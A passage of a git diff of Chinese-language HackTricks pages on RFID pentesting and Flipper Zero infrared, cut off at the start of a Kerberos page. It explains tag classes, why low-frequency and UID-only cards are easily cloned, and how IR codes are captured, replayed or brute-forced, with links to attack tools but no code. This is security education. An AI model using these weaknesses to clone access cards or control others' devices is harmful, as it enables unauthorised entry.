<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 您想看到您的**公司在HackTricks中做广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,119 +1,125 @@
|
||||||
# RFID 渗透测试
|
# Pentesting RFID
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?想要在 HackTricks 上看到您的**公司广告**吗?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 简介
|
## 介绍
|
||||||
|
|
||||||
**射频识别(RFID)** 是最流行的短距离射频解决方案。通常用于存储和传输标识实体的信息。
|
**射频识别 (RFID)** 是最流行的短距离无线解决方案。它通常用于存储和传输识别实体的信息。
|
||||||
|
|
||||||
RFID 标签可以依赖于**自己的电源(主动)**,如嵌入式电池,或通过从接收到的射频波中感应的电流从读取天线接收电源(**被动**)。
|
RFID 标签可以依赖于 **自身的电源 (主动)**,例如嵌入式电池,或通过读取天线接收来自 **接收无线电波的电流** (**被动**) 来获取电源。
|
||||||
|
|
||||||
### 类别
|
### 类别
|
||||||
|
|
||||||
EPCglobal 将 RFID 标签分为六个类别。每个类别中的标签具有前一个类别中列出的所有功能,使其向后兼容。
|
EPCglobal 将 RFID 标签分为六类。每个类别中的标签都具备前一类别中列出的所有功能,从而实现向后兼容。
|
||||||
|
|
||||||
* **Class 0** 标签是在**UHF**频段中运行的**被动**标签。供应商在生产工厂**预编程**它们。因此,您**无法更改**存储在其内存中的信息。
|
* **Class 0** 标签是 **被动** 标签,工作在 **UHF** 频段。供应商在生产工厂 **预编程** 它们。因此,您 **无法更改** 存储在其内存中的信息。
|
||||||
* **Class 1** 标签也可以在**HF**频段中运行。此外,它们只能在生产后**写入一次**。许多 Class 1 标签还可以处理它们接收到的命令的**循环冗余检查**(CRC)。CRC 是用于错误检测的命令末尾的几个额外字节。
|
* **Class 1** 标签也可以在 **HF** 频段工作。此外,它们在生产后只能 **写入一次**。许多 Class 1 标签还可以处理接收到的命令的 **循环冗余检查** (CRC)。CRC 是命令末尾的几个额外字节,用于错误检测。
|
||||||
* **Class 2** 标签可以**多次写入**。
|
* **Class 2** 标签可以 **多次写入**。
|
||||||
* **Class 3** 标签可以包含**嵌入式传感器**,可以记录环境参数,如当前温度或标签的运动。这些标签是**半被动**的,因为尽管它们**具有**嵌入式电源,如集成**电池**,但它们**无法**与其他标签或读取器**启动**无线**通信**。
|
* **Class 3** 标签可以包含 **嵌入式传感器**,可以记录环境参数,例如当前温度或标签的运动。这些标签是 **半主动** 的,因为尽管它们 **具有** 嵌入式电源,例如集成 **电池**,但它们 **无法发起** 与其他标签或读取器的无线 **通信**。
|
||||||
* **Class 4** 标签可以与同一类别的其他标签启动通信,使它们成为**主动标签**。
|
* **Class 4** 标签可以与同类的其他标签发起通信,使其成为 **主动标签**。
|
||||||
* **Class 5** 标签可以为其他标签提供**电源**并与所有先前的标签**类别**通信。Class 5 标签可以充当**RFID 读取器**。
|
* **Class 5** 标签可以为其他标签提供 **电源并与所有前面的标签** 类别进行通信。Class 5 标签可以充当 **RFID 读取器**。
|
||||||
|
|
||||||
### 存储在 RFID 标签中的信息
|
### RFID 标签中存储的信息
|
||||||
|
|
||||||
RFID 标签的存储器通常存储四种数据:**标识数据**,用于**标识**标签附加的**实体**的数据(此数据包括用户定义的字段,如银行账户);**补充数据**,提供有关实体的**进一步** **详细信息**;**控制数据**,用于标签的内部**配置**;以及标签的**制造商数据**,其中包含标签的唯一标识符(**UID**)和有关标签的**生产**、**类型**和**供应商**的详细信息。您会在所有商用标签中找到前两种数据;最后两种数据可能会根据标签的供应商而有所不同。
|
RFID 标签的内存通常存储四种数据:**识别数据**,用于 **识别** 标签所附着的 **实体**(这些数据包括用户定义的字段,例如银行账户);**补充数据**,提供有关实体的 **进一步** **细节**;**控制数据**,用于标签的内部 **配置**;以及标签的 **制造商数据**,其中包含标签的唯一标识符 (**UID**) 以及有关标签的 **生产**、**类型** 和 **供应商** 的详细信息。您将在所有商业标签中找到前两种数据;最后两种数据可能会根据标签的供应商而有所不同。
|
||||||
|
|
||||||
ISO 标准指定了应用系列标识符(**AFI**)值,这是指示标签所属对象**类型**的代码。ISO 还指定了另一个重要寄存器,即数据存储格式标识符(**DSFID**),它定义了用户数据的**逻辑组织**。
|
ISO 标准指定了应用程序系列标识符 (**AFI**) 值,这是一个指示标签所属 **对象类型** 的代码。另一个重要的寄存器,也是由 ISO 指定的,是数据存储格式标识符 (**DSFID**),它定义了 **用户数据的逻辑组织**。
|
||||||
|
|
||||||
大多数 RFID **安全控制**都具有**限制**对每个用户存储块和包含 AFI 和 DSFID 值的特殊寄存器的**读取**或**写入**操作的机制。这些**锁定** **机制**使用存储在控制存储器中的数据,并具有供应商预配置的**默认密码**,但允许标签所有者**配置自定义密码**。
|
大多数 RFID **安全控制** 具有机制,**限制** 每个用户内存块以及包含 AFI 和 DSFID 值的特殊寄存器上的 **读取** 或 **写入** 操作。这些 **锁定** **机制** 使用存储在控制内存中的数据,并具有供应商预配置的 **默认密码**,但允许标签所有者 **配置自定义密码**。
|
||||||
|
|
||||||
### 低频和高频标签比较
|
### 低频与高频标签比较
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (27).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## 低频 RFID 标签(125kHz)
|
## 低频 RFID 标签 (125kHz)
|
||||||
|
|
||||||
**低频标签**通常用于**不需要高安全性**的系统:建筑门禁、对讲钥匙、健身会员卡等。由于其较高的范围,它们方便用于付费停车场:驾驶员无需将卡靠近读卡器,因为它可以从较远处触发。与此同时,低频标签非常简单,数据传输速率低。因此,对于保持余额和加密等复杂的双向数据传输是不可能的。低频标签仅传输其短 ID,没有任何身份验证手段。
|
**低频标签** 通常用于 **不需要高安全性** 的系统:建筑物访问、对讲机钥匙、健身房会员卡等。由于其较高的范围,它们在付费停车时使用方便:司机无需将卡靠近读取器,因为它可以在更远的地方触发。同时,低频标签非常原始,数据传输速率低。因此,无法实现复杂的双向数据传输,例如保持余额和加密。低频标签仅传输其短 ID,而没有任何身份验证手段。
|
||||||
|
|
||||||
这些设备依赖于**被动** **RFID** 技术,工作在**30 kHz 到 300 kHz**的范围内,尽管更常见的是使用 125 kHz 到 134 kHz:
|
这些设备依赖于 **被动** **RFID** 技术,工作在 **30 kHz 到 300 kHz** 的范围内,尽管更常用的是 125 kHz 到 134 kHz:
|
||||||
|
|
||||||
* **长距离** — 低频转换为更远的范围。有一些 EM-Marin 和 HID 读卡器,可以在长达一米的距离内工作。这些通常用于停车场。
|
* **长距离** — 较低的频率意味着更高的范围。有一些 EM-Marin 和 HID 读取器,可以在距离达一米的地方工作。这些通常用于停车场。
|
||||||
* **原始协议** — 由于数据传输速率低,这些标签只能传输其短 ID。在大多数情况下,数据未经身份验证,也没有任何保护措施。一旦卡片在读卡器的范围内,它就开始传输其 ID。
|
* **原始协议** — 由于数据传输速率低,这些标签只能传输其短 ID。在大多数情况下,数据没有经过身份验证,也没有以任何方式受到保护。只要卡在读取器的范围内,它就会开始传输其 ID。
|
||||||
* **低安全性** — 这些卡片可以轻松复制,甚至可以从别人口袋中读取,因为协议的原始性。
|
* **低安全性** — 这些卡可以很容易地被复制,甚至可以从其他人的口袋中读取,因为协议的原始性。
|
||||||
|
|
||||||
**流行的 125 kHz 协议:**
|
**流行的 125 kHz 协议:**
|
||||||
|
|
||||||
* **EM-Marin** — EM4100、EM4102。CIS 中最流行的协议。由于其简单性和稳定性,可以从大约一米处读取。
|
* **EM-Marin** — EM4100,EM4102。CIS 中最流行的协议。由于其简单性和稳定性,可以在约一米的距离内读取。
|
||||||
* **HID Prox II** — HID Global 推出的低频协议。这个协议在西方国家更受欢迎。它更复杂,该协议的卡片和读卡器相对昂贵。
|
* **HID Prox II** — HID Global 引入的低频协议。该协议在西方国家更为流行。它更复杂,且该协议的卡和读取器相对昂贵。
|
||||||
* **Indala** — 由 Motorola 推出的非常古老的低频协议,后来被 HID 收购。与前两者相比,您更不太可能在野外遇到它,因为它正在退出使用。
|
* **Indala** — 由摩托罗拉引入的非常古老的低频协议,后来被 HID 收购。与前两者相比,您在野外遇到它的可能性较小,因为它正在逐渐被淘汰。
|
||||||
|
|
||||||
实际上,还有许多低频协议。但它们都在物理层上使用相同的调制,并且可以被认为在某种程度上是上述列出的协议的变体。
|
实际上,还有很多其他低频协议。但它们都在物理层上使用相同的调制方式,并且可以在某种程度上被视为上述协议的变体。
|
||||||
|
|
||||||
### 攻击
|
### 攻击
|
||||||
|
|
||||||
您可以使用 **Flipper Zero** **攻击这些标签**:
|
您可以 **使用 Flipper Zero 攻击这些标签**:
|
||||||
|
|
||||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
|
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md" %}
|
||||||
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
[fz-125khz-rfid.md](../todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 高频 RFID 标签(13.56 MHz)
|
## 高频 RFID 标签 (13.56 MHz)
|
||||||
|
|
||||||
**高频标签**用于更复杂的读卡器-标签交互,当您需要加密、大规模双向数据传输、身份验证等时。\
|
**高频标签** 用于更复杂的读取器-标签交互,当您需要加密、大量双向数据传输、身份验证等时。\
|
||||||
通常在银行卡、公共交通和其他安全通行证中找到。
|
它通常出现在银行卡、公共交通和其他安全通行证中。
|
||||||
|
|
||||||
**高频 13.56 MHz 标签是一组标准和协议**。它们通常被称为[NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/),但这并不总是正确的。在物理和逻辑层上使用的基本协议集是 ISO 14443。高级协议以及替代标准(如 ISO 19092)都是基于它的。许多人将这项技术称为**近场通信(NFC)**,这是指在 13.56 MHz 频率上运行的设备的术语。
|
**高频 13.56 MHz 标签是一组标准和协议**。它们通常被称为 [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/),但这并不总是正确。物理和逻辑层上使用的基本协议集是 ISO 14443。高级协议以及替代标准(如 ISO 19092)都是基于它的。许多人将这种技术称为 **近场通信 (NFC)**,这是一个用于在 13.56 MHz 频率上运行的设备的术语。
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
简单来说,NFC 的架构如下:传输协议由制作卡片的公司选择,并基于低级 ISO 14443 实现。例如,NXP 发明了自己的高级传输协议,称为 Mifare。但在较低级别上,Mifare 卡基于 ISO 14443-A 标准。
|
简单来说,NFC 的架构是这样的:传输协议由制造卡片的公司选择,并基于低级 ISO 14443 实现。例如,NXP 发明了自己的高级传输协议,称为 Mifare。但在较低层面上,Mifare 卡是基于 ISO 14443-A 标准的。
|
||||||
|
|
||||||
Flipper 可以与低级 ISO 14443 协议、Mifare Ultralight 数据传输协议以及银行卡中使用的 EMV 进行交互。我们正在努力添加对 Mifare Classic 和 NFC NDEF 的支持。对构成 NFC 的协议和标准进行深入了解值得一篇单独的文章,我们计划稍后发布。
|
Flipper 可以与低级 ISO 14443 协议以及 Mifare Ultralight 数据传输协议和用于银行卡的 EMV 进行交互。我们正在努力添加对 Mifare Classic 和 NFC NDEF 的支持。深入研究构成 NFC 的协议和标准值得单独撰写一篇文章,我们计划稍后发布。
|
||||||
|
|
||||||
所有基于 ISO 14443-A 标准的高频卡都有一个唯一的芯片 ID。它充当卡片的序列号,类似于网络卡的 MAC 地址。**通常,UID 长度为 4 或 7 字节**,但很少会**达到 10**。UID 不是秘密,很容易读取,**有时甚至印在卡片上**。
|
所有基于 ISO 14443-A 标准的高频卡都有一个唯一的芯片 ID。它充当卡的序列号,类似于网络卡的 MAC 地址。**通常,UID 长度为 4 或 7 字节**,但很少可以 **达到 10**。UID 不是秘密,且易于读取,**有时甚至印在卡片上**。
|
||||||
|
|
||||||
许多访问控制系统依赖于 UID 进行**身份验证和授权**。有时,即使 RFID 标签**支持加密**,也会发生这种情况。这种**误用**将其降至**低频卡**的**安全**水平。虚拟卡(如 Apple Pay)使用动态 UID,以便手机所有者不会使用其支付应用程序开门。
|
有许多访问控制系统依赖 UID 来 **进行身份验证和授予访问**。有时即使 RFID 标签 **支持加密**,这也会发生。这种 **误用** 使它们在 **安全性** 上降至愚蠢的 **125 kHz 卡** 的水平。虚拟卡(如 Apple Pay)使用动态 UID,以便手机用户不会用他们的支付应用打开门。
|
||||||
|
|
||||||
* **短距离** — 高频卡专门设计为必须靠近读卡器。这也有助于保护卡片免受未经授权的交互。我们设法实现的最大读取范围约为 15 厘米,这是通过定制的高范围读卡器实现的。
|
* **低范围** — 高频卡专门设计为必须靠近读取器放置。这也有助于保护卡免受未经授权的交互。我们所能实现的最大读取范围约为 15 厘米,而这还是使用定制的高范围读取器。
|
||||||
* **高级协议** — 高达 424 kbps 的数据传输速度允许具有完整双向数据传输的复杂协议。这反过来**允许加密**、数据传输等。
|
* **高级协议** — 数据传输速度高达 424 kbps,允许复杂的协议进行完整的双向数据传输。这反过来 **允许加密**、数据传输等。
|
||||||
* **高安全性** — 高频非接触式卡片在安全性方面不逊于智能卡。有些卡片支持像 AES 这样的加密强算法,并实现了非对称加密。
|
* **高安全性** — 高频非接触卡在任何方面都不逊色于智能卡。有些卡支持强加密算法,如 AES,并实现非对称加密。
|
||||||
|
|
||||||
### 攻击
|
### 攻击
|
||||||
|
|
||||||
您可以使用 **Flipper Zero** **攻击这些标签**:
|
您可以 **使用 Flipper Zero 攻击这些标签**:
|
||||||
|
|
||||||
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
|
{% content-ref url="../todo/radio-hacking/flipper-zero/fz-nfc.md" %}
|
||||||
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
或使用 **proxmark**:
|
或者使用 **proxmark**:
|
||||||
|
|
||||||
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
|
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
|
||||||
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
|
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## 参考资料
|
## 参考文献
|
||||||
|
|
||||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?想要在 HackTricks 上看到您的**公司广告**吗?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,21 @@
|
||||||
# FZ - 红外
|
# FZ - 红外线
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**吗? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向**hacktricks仓库**和**hacktricks-cloud仓库**提交PR来**分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## 简介 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
## 介绍 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||||
|
|
||||||
有关红外线工作原理的更多信息,请查看:
|
有关红外线工作原理的更多信息,请查看:
|
||||||
|
|
||||||
|
@ -20,29 +23,44 @@
|
||||||
[infrared.md](../infrared.md)
|
[infrared.md](../infrared.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Flipper Zero中的红外信号接收器 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
## Flipper Zero 中的红外信号接收器 <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||||
|
|
||||||
Flipper使用数字红外信号接收器TSOP,可以**拦截来自红外遥控器的信号**。有一些**智能手机**,如小米,也有红外端口,但请注意,**大多数只能发送**信号,无法**接收**信号。
|
Flipper 使用数字红外信号接收器 TSOP,**可以拦截红外遥控器的信号**。有些 **智能手机** 如小米也有红外端口,但请记住,**大多数只能发送** 信号,**无法接收**。
|
||||||
|
|
||||||
Flipper的红外**接收器非常敏感**。即使保持在遥控器和电视之间的某个位置,也可以**捕捉到信号**。将遥控器直接对准Flipper的红外端口是不必要的。当有人站在电视附近换台时,您和Flipper都相距一段距离时,这将非常方便。
|
Flipper 的红外 **接收器非常灵敏**。您甚至可以在遥控器和电视之间的某个地方 **捕捉信号**。将遥控器直接指向 Flipper 的红外端口并不是必需的。这在某人站在电视附近切换频道时非常方便,而您和 Flipper 之间有一定距离。
|
||||||
|
|
||||||
由于红外信号的解码发生在**软件**端,Flipper Zero可能支持**接收和传输任何红外遥控器代码**。对于**无法识别**的协议 - 它会**记录并回放**接收到的原始信号。
|
由于 **红外信号的解码** 在 **软件** 端进行,Flipper Zero 潜在支持 **接收和发送任何红外遥控代码**。对于 **未知** 协议无法识别的情况,它会 **记录并回放** 原始信号,完全按照接收到的内容。
|
||||||
|
|
||||||
## 操作
|
## 操作
|
||||||
|
|
||||||
### 通用遥控器
|
### 通用遥控器
|
||||||
|
|
||||||
Flipper Zero可以用作**通用遥控器来控制任何电视,空调或媒体中心**。在此模式下,Flipper会**根据SD卡中的字典****暴力破解**所有支持制造商的所有已知代码。您无需选择特定的遥控器来关闭餐厅的电视。
|
Flipper Zero 可以作为 **通用遥控器控制任何电视、空调或媒体中心**。在此模式下,Flipper **暴力破解** 所有支持制造商的 **已知代码**,**根据 SD 卡中的字典**。您无需选择特定的遥控器来关闭餐厅的电视。
|
||||||
|
|
||||||
只需在通用遥控器模式下按下电源按钮,Flipper将**顺序发送“关闭电源”**命令给它所知道的所有电视:索尼,三星,松下...等等。当电视接收到信号时,它将做出反应并关闭。
|
只需在通用遥控器模式下按下电源按钮,Flipper 将 **依次发送所有已知电视的“关机”** 命令:索尼、三星、松下……等等。当电视接收到信号时,它将做出反应并关闭。
|
||||||
|
|
||||||
这种暴力破解需要时间。字典越大,完成所需的时间就越长。由于电视没有反馈,无法确定电视确切识别了哪个信号。
|
这种暴力破解需要时间。字典越大,完成所需的时间就越长。无法确定电视确切识别了哪个信号,因为电视没有反馈。
|
||||||
|
|
||||||
### 学习新遥控器
|
### 学习新遥控器
|
||||||
|
|
||||||
可以使用Flipper Zero**捕获红外信号**。如果Flipper在数据库中**找到信号**,它将自动**知道这是哪个设备**,并允许您与其交互。\
|
可以使用 Flipper Zero **捕获红外信号**。如果它 **在数据库中找到信号**,Flipper 将自动 **知道这是哪个设备** 并允许您与之交互。\
|
||||||
如果没有找到,Flipper可以**存储**该**信号**,并允许您**重放**它。
|
如果没有,Flipper 可以 **存储** 该 **信号** 并允许您 **重放** 它。
|
||||||
|
|
||||||
## 参考
|
## 参考
|
||||||
|
|
||||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,117 +1,126 @@
|
||||||
# Kerberos双跳问题
|
# Kerberos Double Hop Problem
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
